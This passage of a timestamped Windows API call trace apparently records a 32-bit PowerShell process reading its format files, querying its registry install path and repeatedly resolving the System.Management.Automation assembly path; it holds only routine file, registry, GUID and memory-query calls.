	[0083.945] GetLastError () returned 0x0
	[0083.945] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.945] GetLastError () returned 0x0
	[0083.945] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.945] GetLastError () returned 0x0
	[0083.945] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.945] GetLastError () returned 0x0
	[0083.945] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.945] GetLastError () returned 0x0
	[0083.945] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.945] GetLastError () returned 0x0
	[0083.946] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.946] GetLastError () returned 0x0
	[0083.946] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.946] GetLastError () returned 0x0
	[0083.946] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.946] GetLastError () returned 0x0
	[0083.946] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.946] GetLastError () returned 0x0
	[0083.946] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.946] GetLastError () returned 0x0
	[0083.946] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.946] GetLastError () returned 0x0
	[0083.946] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.946] GetLastError () returned 0x0
	[0083.947] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.947] GetLastError () returned 0x0
	[0083.947] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.947] GetLastError () returned 0x0
	[0083.947] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0xf37, lpOverlapped=0x0) returned 1
	[0083.947] GetLastError () returned 0x0
	[0083.947] ReadFile (in: hFile=0x308, lpBuffer=0x2f705d3, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f705d3*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.947] GetLastError () returned 0x0
	[0083.947] ReadFile (in: hFile=0x308, lpBuffer=0x2f70efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2f70efc*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.947] GetLastError () returned 0x0
	[0083.947] CloseHandle (hObject=0x308) returned 1
	[0083.947] GetLastError () returned 0x0
	[0083.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee554, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
	[0083.947] GetLastError () returned 0x0
	[0083.947] SetErrorMode (uMode=0x1) returned 0x1
	[0083.948] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2f91ef8 | out: lpFileInformation=0x2f91ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1
	[0083.948] GetLastError () returned 0x0
	[0083.948] SetErrorMode (uMode=0x1) returned 0x1
	[0083.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
	[0083.948] GetLastError () returned 0x0
	[0083.948] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xee978 | out: phkResult=0xee978*=0x308) returned 0x0
	[0083.948] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x0, lpcbData=0xee9bc*=0x0 | out: lpType=0xee9c0*=0x1, lpData=0x0, lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.948] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x617f50, lpcbData=0xee9bc*=0x56 | out: lpType=0xee9c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.948] RegCloseKey (hKey=0x308) returned 0x0
	[0083.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
	[0083.948] GetLastError () returned 0x0
	[0083.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee4b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
	[0083.948] GetLastError () returned 0x0
	[0083.955] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xd1db7fe3, Data2=0x8044, Data3=0x4ba1, Data4=([0]=0xaf, [1]=0xa7, [2]=0x48, [3]=0x2e, [4]=0xc2, [5]=0x26, [6]=0x40, [7]=0x82))) returned 0x0
	[0083.955] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x9f423d02, Data2=0x47c1, Data3=0x4822, Data4=([0]=0x98, [1]=0x9, [2]=0xc6, [3]=0x2e, [4]=0xc2, [5]=0x95, [6]=0xb, [7]=0xd6))) returned 0x0
	[0083.955] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.955] GetLastError () returned 0x0
	[0083.955] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.956] GetLastError () returned 0x0
	[0083.956] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.956] GetLastError () returned 0x0
	[0083.956] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.956] GetLastError () returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.979] GetLastError () returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.979] GetLastError () returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.979] GetLastError () returned 0x0
	[0083.979] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x72fa8bd4, Data2=0xe1e0, Data3=0x42a3, Data4=([0]=0x98, [1]=0xd7, [2]=0xc1, [3]=0xf5, [4]=0x9d, [5]=0xbb, [6]=0x89, [7]=0xa0))) returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.979] GetLastError () returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.979] GetLastError () returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.979] GetLastError () returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.979] GetLastError () returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.979] GetLastError () returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.979] GetLastError () returned 0x0
	[0083.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.980] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.980] GetLastError () returned 0x0
	[0083.981] VirtualQuery (in: lpAddress=0xed334, lpBuffer=0xee334, dwLength=0x1c | out: lpBuffer=0xee334*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.982] VirtualQuery (in: lpAddress=0xed370, lpBuffer=0xee370, dwLength=0x1c | out: lpBuffer=0xee370*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.982] GetLastError () returned 0x0
	[0083.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.982] GetLastError () returned 0x0
	[0083.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.982] GetLastError () returned 0x0
	[0083.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.982] GetLastError () returned 0x0
	[0083.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.982] GetLastError () returned 0x0
	[0083.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.982] GetLastError () returned 0x0
	[0083.983] VirtualQuery (in: lpAddress=0xed6a0, lpBuffer=0xee6a0, dwLength=0x1c | out: lpBuffer=0xee6a0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.983] GetLastError () returned 0x0
	[0083.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.983] GetLastError () returned 0x0
	[0083.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.983] GetLastError () returned 0x0
	[0083.983] VirtualQuery (in: lpAddress=0xed6a0, lpBuffer=0xee6a0, dwLength=0x1c | out: lpBuffer=0xee6a0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.983] GetLastError () returned 0x0
	[0083.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.983] GetLastError () returned 0x0
	[0083.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.983] GetLastError () returned 0x0
	[0083.983] VirtualQuery (in: lpAddress=0xed6a0, lpBuffer=0xee6a0, dwLength=0x1c | out: lpBuffer=0xee6a0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.984] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
